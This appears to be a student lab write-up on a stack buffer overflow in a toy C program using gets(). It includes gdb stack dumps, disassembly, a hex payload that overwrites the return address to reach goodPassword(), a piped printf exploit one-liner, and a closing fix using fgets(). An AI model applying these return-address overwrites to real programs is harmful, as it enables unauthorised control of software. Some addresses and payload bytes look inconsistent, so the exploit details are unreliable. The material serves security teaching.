

Compiling program with disabling buffer overflow protection:

```
blue@blue-VirtualBox:~/lab6$ gcc -fno-stack-protector -g -O2 -o program program.c
program.c: In function 'getName':
program.c:10:7: warning: ignoring return value of 'gets', declared with attribute warn_unused_result [-Wunused-result]
```

Test Run:

```
blue@blue-VirtualBox:~/lab6$ ./program
Enter your name:
Rahul
Try again
blue@blue-VirtualBox:~/lab6$ ./program
Enter your name:

Try again
blue@blue-VirtualBox:~/lab6$ ./program
Enter your name:
Rahul Arefin Prithu
*** buffer overflow detected ***: ./program terminated
===== Backtrace: =====
/lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x45)[0xb765e0e5]
/lib/i386-linux-gnu/libc.so.6(+0x102eba)[0xb765ceba]
/lib/i386-linux-gnu/libc.so.6(__gets_chk+0x165)[0xb765ce25]
./program[0x80484d3]
./program[0x80483f5]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0xb75734d3]
./program[0x804841d]
===== Memory map: =====
08048000-08049000 r-xp 00000000 08:01 816413 /home/blue/lab6/program
08049000-0804a000 r--p 00000000 08:01 816413 /home/blue/lab6/program
0804a000-0804b000 rw-p 00001000 08:01 816413 /home/blue/lab6/program
093eb000-0940c000 rw-p 00000000 00:00 0 [heap]
b75cc000-b75e8000 r-xp 00000000 08:01 787353 /lib/i386-linux-gnu/libgcc_s.so.1
b75e8000-b75e9000 r--p 0001b000 08:01 787353 /lib/i386-linux-gnu/libgcc_s.so.1
b75e9000-b75ea000 rw-p 0001c000 08:01 787353 /lib/i386-linux-gnu/libgcc_s.so.1
b75fa000-b75fb000 rw-p 00000000 00:00 0
b75fb000-b779e000 r-xp 00000000 08:01 787332 /lib/i386-linux-gnu/libc-2.15.so
b779e000-b77a0000 r--p 001a3000 08:01 787332 /lib/i386-linux-gnu/libc-2.15.so
b77a0000-b77a1000 rw-p 001a5000 08:01 787332 /lib/i386-linux-gnu/libc-2.15.so
b77a1000-b77a4000 rw-p 00000000 00:00 0
b77b1000-b77b6000 rw-p 00000000 00:00 0
b77b6000-b77b7000 r-xp 00000000 00:00 0 [vdso]
b77b7000-b77d7000 r-xp 00000000 08:01 787312 /lib/i386-linux-gnu/ld-2.15.so
b77d7000-b77d8000 r--p 0001f000 08:01 787312 /lib/i386-linux-gnu/ld-2.15.so
b77d8000-b77d9000 rw-p 00020000 08:01 787312 /lib/i386-linux-gnu/ld-2.15.so
bfd29000-bfd4a000 rw-p 00000000 00:00 0 [stack]
Aborted (core dumped)
```

Variable buf is a local variable. A local variable is stored in a stack.

gets() function uses stdin to read any number of characters given as input. In other words input size is not limited to the size of the variable. Therefore, if the input size is bigger than the size of the variable, it will overflow in the stack.

To analyze the stack, first we set a break point at line 35, when getName() is called. This will give the initial state of the stack. The second break point is set at line 11. When gets() is called, it will show how the data (buf) is stored in stack.

```
gdb> break 35
Breakpoint 1 at 0x80483f0: file program.c, line 35.
gdb> break 11
Breakpoint 2 at 0x80484bf: file program.c, line 11.
gdb> run

eax:00000001 ebx:B7FC6FF4 ecx:BFFFF7B4 edx:BFFFF744 eflags:00000282
esi:00000000 edi:00000000 esp:BFFFF710 ebp:BFFFF718 eip:080483F0
cs:0073 ds:007B es:007B fs:0000 gs:0033 ss:007B o d I t S z a p c
[007B:BFFFF710]-----[stack]
BFFFF740 : 4C 82 04 08 F4 6F FC B7 - 00 00 00 00 00 00 00 00 L....o.....
BFFFF730 : 00 00 00 00 1C F7 FF BF - BC F7 FF BF 00 00 00 00 .....
BFFFF720 : 01 00 00 00 B4 F7 FF BF - BC F7 FF BF 58 C8 FD B7 .....X...
BFFFF710 : 40 85 04 08 00 00 00 00 - 00 00 00 00 D3 B4 E3 B7 @.....
[007B:BFFFF710]-----[ data]
BFFFF710 : 40 85 04 08 00 00 00 00 - 00 00 00 00 D3 B4 E3 B7 @.....
BFFFF720 : 01 00 00 00 B4 F7 FF BF - BC F7 FF BF 58 C8 FD B7 .....X...
[0073:080483F0]-----[ code]
=> 0x80483f0 <main+16>: call 0x80484b0 <getName>
0x80483f5 <main+21>: call 0x80484f0 <badPassword>
0x80483fa: nop
0x80483fb: nop
0x80483fc <_start>: xor %ebp,%ebp
0x80483fe <_start+2>: pop %esi
-----

Breakpoint 1, main () at program.c:35
35 name = getName();
```

Before Input:

```
gdb> s
Enter your name:

eax:00000011 ebx:B7FC6FF4 ecx:FFFFFFFF edx:B7FC88B8 eflags:00000282
esi:00000000 edi:00000000 esp:BFFFF6E0 ebp:BFFFF718 eip:080484BF
cs:0073 ds:007B es:007B fs:0000 gs:0033 ss:007B o d I t S z a p c
[007B:BFFFF6E0]-----[stack]
BFFFF710 : 40 85 04 08 00 00 00 00 - 00 00 00 00 D3 B4 E3 B7 @.....
BFFFF700 : 80 D2 FE B7 00 00 00 00 - 49 85 04 08 F5 83 04 08 .....I.....
BFFFF6F0 : FF FF FF FF 96 51 E5 B7 - F4 6F FC B7 25 52 E5 B7 .....Q...o...%R..
BFFFF6E0 : 10 86 04 08 00 80 00 00 - F4 9F 04 08 61 85 04 08 .....a...
[007B:BFFFF6E0]-----[ data]
BFFFF6E0 : 10 86 04 08 00 80 00 00 - F4 9F 04 08 61 85 04 08 .....a...
BFFFF6F0 : FF FF FF FF 96 51 E5 B7 - F4 6F FC B7 25 52 E5 B7 .....Q...o...%R..
[0073:080484BF]-----[ code]
=> 0x80484bf <getName+15>: lea 0x12(%esp),%eax
0x80484c3 <getName+19>: movl $0xe,0x4(%esp)
0x80484cb <getName+27>: mov %eax,(%esp)
0x80484ce <getName+30>: call 0x80483d0 <__gets_chk@plt>
0x80484d3 <getName+35>: xor %eax,%eax
0x80484d5 <getName+37>: cmpb $0x0,0x12(%esp)
-----
```

After Inputting "Rahul":

```
gdb> s
Rahul

eax:BFFFF6F2 ebx:B7FC6FF4 ecx:B7FC88C4 edx:BFFFF6F2 eflags:00000282
esi:00000000 edi:00000000 esp:BFFFF6E0 ebp:BFFFF718 eip:080484D3
cs:0073 ds:007B es:007B fs:0000 gs:0033 ss:007B  o d I t S z a p c
[007B:BFFFF6E0]-----[stack]
BFFFF710 : 40 85 04 08 00 00 00 00 - 00 00 00 00 D3 B4 E3 B7 @.....
BFFFF700 : 80 D2 FE B7 00 00 00 00 - 49 85 04 08 F5 83 04 08 .....I.....
BFFFF6F0 : FF FF 52 61 68 75 6C 00 - F4 6F FC B7 25 52 E5 B7 ..Rahul..o..%R..
BFFFF6E0 : F2 F6 FF BF 0E 00 00 00 - F4 9F 04 08 61 85 04 08 .....a...
[007B:BFFFF6F2]-----[ data]
BFFFF6F2 : 52 61 68 75 6C 00 F4 6F - FC B7 25 52 E5 B7 80 D2 Rahul..o..%R....
BFFFF702 : FE B7 00 00 00 00 49 85 - 04 08 F5 83 04 08 40 85 .....I.....@.
[0073:080484D3]-----[ code]
=> 0x80484d3 <getName+35>:      xor     %eax,%eax
    0x80484d5 <getName+37>:      cmpb    $0x0,0x12(%esp)
    0x80484da <getName+42>:      setne   %al
    0x80484dd <getName+45>:      add     $0x2c,%esp
    0x80484e0 <getName+48>:      ret
    0x80484e1:      jmp     0x80484f0 <badPassword>
-----
getName () at program.c:13
```

After Inputting "Rahul Arefin Prithu":

```
gdb> s
Rahul Arefin Prithu
*** buffer overflow detected ***: /home/blue/lab6/program terminated
===== Backtrace: =====
/lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x45)[0xb7f260e5]
/lib/i386-linux-gnu/libc.so.6(+0x102eba)[0xb7f24eba]
/lib/i386-linux-gnu/libc.so.6(__gets_chk+0x165)[0xb7f24e25]
/home/blue/lab6/program[0x80484d3]
/home/blue/lab6/program[0x80483f5]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0xb7e3b4d3]
/home/blue/lab6/program[0x804841d]
===== Memory map: =====
08048000-08049000 r-xp 00000000 08:01 816411 /home/blue/lab6/program
08049000-0804a000 r--p 00000000 08:01 816411 /home/blue/lab6/program
0804a000-0804b000 rw-p 00001000 08:01 816411 /home/blue/lab6/program
0804b000-0806c000 rw-p 00000000 00:00 0 [heap]
b7df3000-b7e0f000 r-xp 00000000 08:01 787353 /lib/i386-linux-gnu/libgcc_s.so.
1
b7e0f000-b7e10000 r--p 0001b000 08:01 787353 /lib/i386-linux-gnu/libgcc_s.so.
1
b7e10000-b7e11000 rw-p 0001c000 08:01 787353 /lib/i386-linux-gnu/libgcc_s.so.
1
b7e21000-b7e22000 rw-p 00000000 00:00 0
b7e22000-b7fc5000 r-xp 00000000 08:01 787332 /lib/i386-linux-gnu/libc-2.15.so
```

```

eax:00000000 ebx:00000C7A ecx:00000C7A edx:00000006 eflags:00010246
esi:00000000 edi:B7FC6FF4 esp:BFFFEED0 ebp:BFFFF648 eip:B7FDD416
cs:0073 ds:007B es:007B fs:0000 gs:0033 ss:007B o d I t s Z a P c
[007B:BFFFEED0]-----[stack]
BFFFEF00 : CC EF FF BF 73 00 00 00 - EC EF FF BF BE 8C F0 B7 ....s.....
BFFFEF0 : 00 00 00 00 02 00 00 00 - C0 81 04 08 CC 81 04 08 .....
BFFFEF0 : 06 00 00 00 80 EF FF BF - 00 00 00 00 18 F9 FF B7 .....
BFFFEED0 : DF 01 E5 B7 F4 6F FC B7 - 00 F0 FF BF 25 38 E5 B7 .....o.....%8..
[007B:B7FC6FF4]-----[ data]
B7FC6FF4 : 7C 4D 1A 00 58 C8 FD B7 - A0 26 FF B7 66 8E E3 B7 |M..X....&..f...
B7FC7004 : 76 8E E3 B7 86 8E E3 B7 - 00 97 EC B7 A6 8E E3 B7 v.....
[0073:B7FDD416]-----[ code]
=> 0xb7fdd416 <__kernel_vsyscall+2>:      ret
      0xb7fdd417:  add     %ch,(%esi)
      0xb7fdd419:  jae     0xb7fdd483
      0xb7fdd41b:  jae     0xb7fdd491
      0xb7fdd41d:  jb      0xb7fdd493
      0xb7fdd41f:  popa
-----
0xb7fdd416 in __kernel_vsyscall ()
gdb> x/16xg 0xbffff6e0
0xbffff6e0:  0x00000000ebffff6f2      0x0804856108049ff4
0xbffff6f0:  0x206c75686152ffff      0x50206e6966657241
0xbffff700:  0x00000000b7fed280      0x080483f508048549
0xbffff710:  0x0000000008048540      0xb7e3b4d300000000
0xbffff720:  0xbffff7b400000001      0xb7fdc858bffff7bc
0xbffff730:  0xbffff71c00000000      0x00000000bffff7bc
0xbffff740:  0xb7fc6ff40804824c      0x0000000000000000
0xbffff750:  0x4b389ff100000000      0x0000000073bffb01

```

As we can see here, the system stored the first 14 characters in the stack as per the program limitation. However, `gets()` attempted to store the input data completely, causing the stack overflow.

Now we disassemble the functions: main, getName, badPassword, and goodPassword:

```
(gdb) disassem main
Dump of assembler code for function main:
   0x080483e0 <+0>:  push    %ebp
   0x080483e1 <+1>:  mov     %esp,%ebp
   0x080483e3 <+3>:  and     $0xffffffff0,%esp
   0x080483e6 <+6>:  movl    $0x2,0x804a028
   0x080483f0 <+16>: call    0x80484b0 <getName>
   0x080483f5 <+21>: call    0x80484f0 <badPassword>
End of assembler dump.
(gdb) disassem getName
Dump of assembler code for function getName:
   0x080484b0 <+0>:  sub     $0x2c,%esp
   0x080484b3 <+3>:  movl    $0x8048610, (%esp)
   0x080484ba <+10>: call    0x8048380 <puts@plt>
   0x080484bf <+15>: lea     0x12(%esp), %eax
   0x080484c3 <+19>: movl    $0xe,0x4(%esp)
   0x080484cb <+27>: mov     %eax, (%esp)
   0x080484ce <+30>: call    0x80483d0 <__gets_chk@plt>
   0x080484d3 <+35>: xor     %eax,%eax
   0x080484d5 <+37>: cmpb    $0x0,0x12(%esp)
   0x080484da <+42>: setne   %al
   0x080484dd <+45>: add     $0x2c,%esp
   0x080484e0 <+48>: ret
End of assembler dump.
(gdb) disassem badPassword
Dump of assembler code for function badPassword:
   0x080484f0 <+0>:  sub     $0x1c,%esp
   0x080484f3 <+3>:  movl    $0x8048621, (%esp)
   0x080484fa <+10>: call    0x8048380 <puts@plt>
   0x080484ff <+15>: movl    $0x0, (%esp)
   0x08048506 <+22>: call    0x80483a0 <exit@plt>
End of assembler dump.
(gdb) disassem goodPassword
Dump of assembler code for function goodPassword:
   0x08048510 <+0>:  sub     $0x1c,%esp
   0x08048513 <+3>:  mov     0x804a028,%eax
   0x08048518 <+8>:  movl    $0x804862c,0x4(%esp)
   0x08048520 <+16>: movl    $0x1, (%esp)
   0x08048527 <+23>: mov     %eax,0x8(%esp)
   0x0804852b <+27>: call    0x80483c0 <__printf_chk@plt>
   0x08048530 <+32>: movl    $0x0, (%esp)
   0x08048537 <+39>: call    0x80483a0 <exit@plt>
End of assembler dump.
```


As we can see in the main(), getName() is called from 0x80484b0. Once getName() is executed, the program control returns to: 0x080483f5. When we inspect the stack at break point, line11, we find that this address is stored in the stack.

```
gdb> x/16xg 0xbffff6e0
0xbffff6e0: 0x0000000ebffff6f2 0x0804856108049ff4
0xbffff6f0: 0x206c75686152ffff 0x50206e6966657241
0xbffff700: 0x00000000b7fed280 0x080483f508048549
0xbffff710: 0x0000000008048540 0xb7e3b4d300000000
0xbffff720: 0xbffff7b400000001 0xb7fdc858bffff7bc
0xbffff730: 0xbffff71c00000000 0x00000000bffff7bc
0xbffff740: 0xb7fc6ff40804824c 0x0000000000000000
0xbffff750: 0x4b389ff100000000 0x0000000073bffe1
```

Now if we can, overwrite the address, with: 0x08048510, the program will execute the goodPassword()

```
gdb> x/16xg 0xbffff6e0
0xbffff6e0: 0x0000000ebffff6f2 0x0804856108049ff4
0xbffff6f0: 0x666564636261ffff 0x6e6d6c6b6a696867
0xbffff700: 0x00000000b7fed280 0x080483f508048549
0xbffff710: 0x0000000008048540 0xb7e3b4d300000000
0xbffff720: 0xbffff7b400000001 0xb7fdc858bffff7bc
0xbffff730: 0xbffff71c00000000 0x00000000bffff7bc
0xbffff740: 0xb7fc6ff40804824c 0x0000000000000000
0xbffff750: 0x6503703900000000 0x000000005d841429
```

As we can see from the disassem of getName():

```
0x080484b0 <+0>: sub    $0x2c,%esp
```

The function is subtracting 44 bytes.

So we make a payload file contains 44 characters, followed by the address of goodPassword():

```
Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00000000 61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70 abcdefghijklmnop
00000010 71 72 73 74 75 76 77 78 79 7A 61 62 63 64 65 66 qrstuvwxyzabcdef
00000020 67 68 69 6A 6B 6C 6D 6E 6F 70 71 72 10 85 04 08 ghijklmnopqr....
00000030 00 00 00 00 .....

```

Using Input File:

```
gdb> run <input
Enter your name:

Program received signal SIGSEGV, Segmentation fault.

eax:00000001 ebx:B7FC6FF4 ecx:B7FC88C4 edx:BFFFF6DE eflags:00010202
esi:00000000 edi:00000000 esp:BFFFF700 ebp:64636261 eip:68676665
cs:0073 ds:007B es:007B fs:0000 gs:0033 ss:007B o d I t s z a p c
[007B:BFFFF700]-----[stack]
BFFFF730 : 00 00 00 00 1C F7 FF BF - BC F7 FF BF 00 00 00 00 .....
BFFFF720 : 01 00 00 00 B4 F7 FF BF - BC F7 FF BF 58 C8 FD B7 .....X...
BFFFF710 : 00 85 04 08 00 00 00 00 - 00 00 00 00 D3 B4 E3 B7 .....
BFFFF700 : 69 6A 6B 6C 6D 6E 6F 70 - 71 72 00 00 10 85 04 08 ijklmnopqr.....
[007B:BFFFF700]-----[ data]
BFFFF700 : 69 6A 6B 6C 6D 6E 6F 70 - 71 72 00 00 10 85 04 08 ijklmnopqr.....
BFFFF710 : 00 85 04 08 00 00 00 00 - 00 00 00 00 D3 B4 E3 B7 .....
[0073:68676665]-----[ code]
=> 0x68676665: Error while running hook_stop:
Cannot access memory at address 0x68676665
0x68676665 in ?? ()
```

Causes, segmentation fault. It would appear that the input is unable to overflow the buffer correctly. Unable to identify problem.

However, the same can be done via piping. By the command:

```
printf "abcdefghijklmnopqrstuvwxyabcdefghijklmnop\r\x10\x85\x04\x00\x00\x00\x00" | ./program
```

Will pass through to goodPassword() and give admin 2 privileges.

How To Prevent Buffer Overflow:

To prevent buffer overflow, we change the *gets()* to *fgets()*.

The *fgets()* can be used to limit the buffer size, preventing any buffer overflows.